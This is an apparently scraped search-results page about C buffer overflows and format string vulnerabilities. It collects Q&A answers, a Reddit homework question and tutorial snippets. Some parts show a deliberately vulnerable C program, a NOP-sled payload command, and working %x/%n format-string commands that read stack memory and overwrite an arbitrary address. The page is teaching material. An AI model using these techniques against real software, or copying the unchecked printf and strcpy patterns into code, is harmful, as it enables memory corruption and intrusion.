I understand snprintf should not result in buffer overflow. But still why does the tool raise this complaint?

Often I have seen analysis tool's complaints are pedantically real, yet the tool points to the wrong original culprit.


Code has at least this weakness

Potential junk in timebuf[]

char timebuf[20];
// Enough space?
strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime);

As adjustedtime->tm_year, an int, may have values in the range -2147483648 ... 2147483647, more than size 20 needed.

Avoid under sizing. Recommend:

#define INT_TEXT_LENGTH_MAX 11
char timebuf[6*INT_TEXT_LENGTH_MAX + sizeof "%Y-%m-%d %H:%M:%S"];

Further, it the buffer is not big enough, then:

If the total number of resulting characters including the terminating null character is not more than maxsize, the strftime function returns the number of characters placed into the array pointed to by s not including the terminating null character. Otherwise, zero is returned and the contents of the array are indeterminate. C17dr § 7.27.3.5 Library 8

Thus an analysis tool can assume any content for timebuf[] including a non-string following an unchecked strftime(). That can easily break snprintf(gendata, sizeof(gendata), "%s", timebuf); as "%s" requires a string, which timebuf[] is not guarantied to be. The sizeof(gendata) in snprintf(gendata, sizeof(gendata), ... is not sufficient to prevent UB of an unterminated timebuf[].

Better code would also check the size.

struct tm *adjustedtime = localtime(&t);
if (adjustedtime == NULL) {
  Handle_Error();
}
if (strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime) == 0) {
  Handle_Error();
}

Now we can continue with snprintf() code.

Answer from chux on Stack Overflow
🌐
Stack Exchange
security.stackexchange.com › questions › 241351 › can-you-perform-a-buffer-overflow-and-a-format-string-attack-at-the-same-time
c - Can you perform a buffer overflow and a format string attack at the same time? - Information Security Stack Exchange
November 26, 2020 - "in one line" We usually write a script to do the exploitation (python with pwntools is popular) so you can always do everything in one line with python exploit.py ... Yes, you can certainly chain both of these together. For the most part, you can ignore the other exploit while working on the other; it will just affect your offsets. Start by constructing your format string exploit at the beginning of your payload. Then, create padding from the end of that to where your buffer overflow offset is (e.g.
🌐
Kayssel
kayssel.com › post › format-string-and-buffer-overflow
Mastering Binary Exploitation: Unleashing the Power of Format String and Buffer Overflow
January 8, 2024 - However, there’s no check on the input size, hinting at a potential buffer overflow vulnerability. Loop Control Variable: There’s a variable zero which plays a crucial role in controlling the program’s exit. If zero is altered, it disrupts the flow, leading to an infinite loop. Memory Manipulation Pointer: Then, there’s plen. This pointer is interesting. It writes the count of characters, printed by printf, into the memory. The format specifier %hn is key here; it writes in 2 bytes instead of the usual 4 bytes with %n.
Discussions

Help understanding python bytestrings (in relation to Buffer Overflow)
Hey man, I don’t know how to help you but this is cool stuff! I used to play around on hackthebox where you have to hack something just to create an account with them. They have like dozens of machines (even some real world scenarios) to practice on. During my gender studies and racial equality classes, I spent that entire time just breaking into shit. So seeing this feels pretty nostalgic. Good luck my guy, hope you find the answers you’re searching for. More on reddit.com
🌐 r/learnpython
4
2
February 11, 2024
Buffer Overflow: Format String - Stack Overflow
Communities for your favorite technologies. Explore all Collectives · Ask questions, find answers and collaborate at work with Stack Overflow for Teams More on stackoverflow.com
🌐 stackoverflow.com
July 4, 2017
c - How can a Format-String vulnerability be exploited? - Stack Overflow
The first version interprets buffer ... any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. I got the problem with printf(buffer) version, but I still didn't get how this vulnerability can be used by attacker to execute harmful code. Can someone please tell me how this vulnerability can be exploited by an example? ... For reference, the buffer overflow attack question ... More on stackoverflow.com
🌐 stackoverflow.com
exploit - How to generate payload with python for buffer overflow? - Stack Overflow
I just cat the file and copied ... for a string on the program). I've seen this procedure in some tutorials. As an example, the output should look like this A(...)A<84>^D^H when that command is executed. But what you're saying makes sense to me... Given that, are there anyways to deliver this payload to the gets function and overflow the buffer? 2017-10-08T20:50:22.317Z+00:00 ... @fish202: if the application reads with gets from stdin just app < attack_payload or python -c '.... ... More on stackoverflow.com
🌐 stackoverflow.com
Top answer
1 of 1
7

I understand snprintf should not result in buffer overflow. But still why does the tool raise this complaint?

Often I have seen analysis tool's complaints are pedantically real, yet the tool points to the wrong original culprit.


Code has at least this weakness

Potential junk in timebuf[]

char timebuf[20];
// Enough space?
strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime);

As adjustedtime->tm_year, an int, may have values in the range -2147483648 ... 2147483647, more than size 20 needed.

Avoid under sizing. Recommend:

#define INT_TEXT_LENGTH_MAX 11
char timebuf[6*INT_TEXT_LENGTH_MAX + sizeof "%Y-%m-%d %H:%M:%S"];

Further, it the buffer is not big enough, then:

If the total number of resulting characters including the terminating null character is not more than maxsize, the strftime function returns the number of characters placed into the array pointed to by s not including the terminating null character. Otherwise, zero is returned and the contents of the array are indeterminate. C17dr § 7.27.3.5 Library 8

Thus an analysis tool can assume any content for timebuf[] including a non-string following an unchecked strftime(). That can easily break snprintf(gendata, sizeof(gendata), "%s", timebuf); as "%s" requires a string, which timebuf[] is not guarantied to be. The sizeof(gendata) in snprintf(gendata, sizeof(gendata), ... is not sufficient to prevent UB of an unterminated timebuf[].

Better code would also check the size.

struct tm *adjustedtime = localtime(&t);
if (adjustedtime == NULL) {
  Handle_Error();
}
if (strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime) == 0) {
  Handle_Error();
}

Now we can continue with snprintf() code.

🌐
Reddit
reddit.com › r/learnpython › help understanding python bytestrings (in relation to buffer overflow)
r/learnpython on Reddit: Help understanding python bytestrings (in relation to Buffer Overflow)
February 11, 2024 -

Hello everyone,

I'm working on a buffer overflow assignment for university and one of the best ways to inject the payload appears to be using python from the command line like so:

$ ./program $(python2 -c 'print("\x90"*150 + "\x00\x00\xff\xff")')

In python2, this works perfectly to inject the specific bytes in hex code. However, I'm trying to perform a more advanced exploit and need to use pwntools and preferably python3.

The problem is, when I try to use python3, I can't get it to work as intended. For example, \x90 (NOPs) don't work correctly, as detailed here:

https://stackoverflow.com/questions/75423280/python-is-printing-0x90c2-instead-of-just-0x90-nop

It appears that byte strings are the solution, so I tried that. For example, the above code would be changed to:

$ ./program $(python3 -c 'print(b"\x90"*150 + b"\x00\x00\xff\xff")')

However, this ends up causing strange behavior, and upon examining the registers it appears as if the "b'" is being written to the registers as a separate byte. I'm so confused, and I've searched everywhere but I guess I don't know the right question to ask, because I haven't been able to find anything helpful. I thought b"" strings were supposed to be raw bytes, but clearly it's a bit more nuanced than that.

I'd massively appreciate if anyone could explain this to me in layman's terms (I'm certainly not a whiz with low-level stuff) and explain to me how I can inject code using python3 without the "b'" showing up in the registers.

Thanks!

🌐
Stack Overflow
stackoverflow.com › questions › 20502476 › buffer-overflow-format-string
Buffer Overflow: Format String - Stack Overflow
July 4, 2017 - Which input string should an attacker enter to get exactely the content of pw ? void func(char *in) { char *pw = "53cr37p455"; printf(in); } void func2(void) { printf("Dummy string.\n"); } ...
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
OWASP Foundation
owasp.org › www-community › vulnerabilities › Buffer_Overflow
Buffer Overflow | OWASP Foundation
Design: Mitigating technologies such as safe-string libraries and container abstractions could be introduced. Implementation: Many logic errors can lead to this condition. It can be exacerbated by lack of or mis¬use of mitigating technologies. Almost all known web servers, application servers, and web application environments are susceptible to buffer overflows, the notable exception being environments written in interpreted languages like Java or Python, which are immune to these attacks (except for overflows in the Interpretor itself).
Find elsewhere
🌐
Syracuse University
surface.syr.edu › cgi › viewcontent.cgi pdf
Buffer Overflow and Format String Overflow Vulnerabilities
It overflows the buffer using the minimum field · width specifier of a format directive. In the function in Figure 31, safebuf cannot be overflowed · through the parameter user due to the use of snprintf, so the stack-smashing attack cannot · exploit this program. The safebuf, however, is the format string of the next sprintf, so it will be
🌐
Infosec Institute
resources.infosecinstitute.com › topic › python-for-exploit-development-all-about-buffer-overflows
Online Courses from University
March 25, 2021 - Python for exploit development: All about buffer overflows · Python language basics: understanding exception handling · Python for pentesting: Programming, exploits and attacks · Increasing security by hardening the CI/CD build infrastructure · Pros and cons of public vs internal container ...
🌐
Infosec Institute
infosecinstitute.com › resources › hacking › buffer-overflow-format-string-attacks-basics-part-1
Buffer overflow and format string attacks: the basics | Infosec
July 30, 2015 - So if we can implement a stack which is non-executable stack, a majority of buffer overflow attacks can be controlled. To implement this feature, windows even have a feature called "Data Execution Prevention" which is used to make stack non-executable. DEP settings are available at Systems >Advanced>Performance >Settings>DEP. ... Build your Python pentesting skills with four hands-on courses courses covering Python basics, exploiting vulnerabilities, and performing network and web app penetration tests.
🌐
Stack Overflow
stackoverflow.com › questions › 75641251 › simple-format-string-attack-not-working-as-expected
security - Simple format string attack not working as expected - Stack Overflow
March 5, 2023 - My aim is to get the secret "1234" by doing a format string attack on printf in the vuln() function. #include <stdio.h> #include <string.h> #include <stdlib.h> void vuln(char *user_input){ char buf[128]; strcpy(buf, user_input); printf(buf); printf("\n"); } int main(int argc, char **argv) { char *secret = (char *) malloc(5); strcpy(secret, "1234"); printf("secret is at: %p\n", secret); vuln(argv[1]); } I ran ./a.out "AAAA$(python -c 'print("x "*20)') to figure out how much padding I needed.
🌐
Exploit-DB
exploit-db.com › docs › english › 28476-linux-format-string-exploitation.pdf pdf
Format String Exploitation-Tutorial By Saif El-Sherei www.elsherei.com
The %n format string writes the number of bytes written till its occurrence in the address given as ... So there is 4 bytes which is the address in little endian format + another 4 bytes our EGG "AAAA" + 9 ... The breakpoint is hit. Let’s check the value at 0x08049584 ... Writing to a memory location was successful. Now to write address 0xDDCCBBAA 4 writes 1 byte at a time are required shown below: ... The width of the format string “%8x” for example is the minimum which will pad the output of the
🌐
GitHub
github.com › topics › buffer-overflow-attack
buffer-overflow-attack · GitHub Topics · GitHub
April 5, 2017 - A guide to vanilla buffer overflow exploitation with the help of brainpan-vm. python guide cybersecurity buffer-overflow-attack brainpan-vm exploitdevelopment
🌐
ACM Digital Library
dl.acm.org › doi › abs › 10.1002 › spe.515
Buffer overflow and format string overflow vulnerabilities | Software
Numerous incidents of buffer overflow attacks have been reported and many solutions have been proposed, but a solution that is both complete and highly practical is yet to be found. Another kind of vulnerability called format string overflow has recently been found and although not as widespread as buffer overflow, format string overflow attacks are no less dangerous.This article surveys representative techniques of exploiting buffer overflow and format string overflow vulnerabilities and their currently available defensive measures.
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The printf in the second line will interpret the %s%s%s%s%s%s in the input string as a reference to string pointers, so it will try to interpret every %s as a pointer to a string, starting from the location of the buffer (probably on the Stack).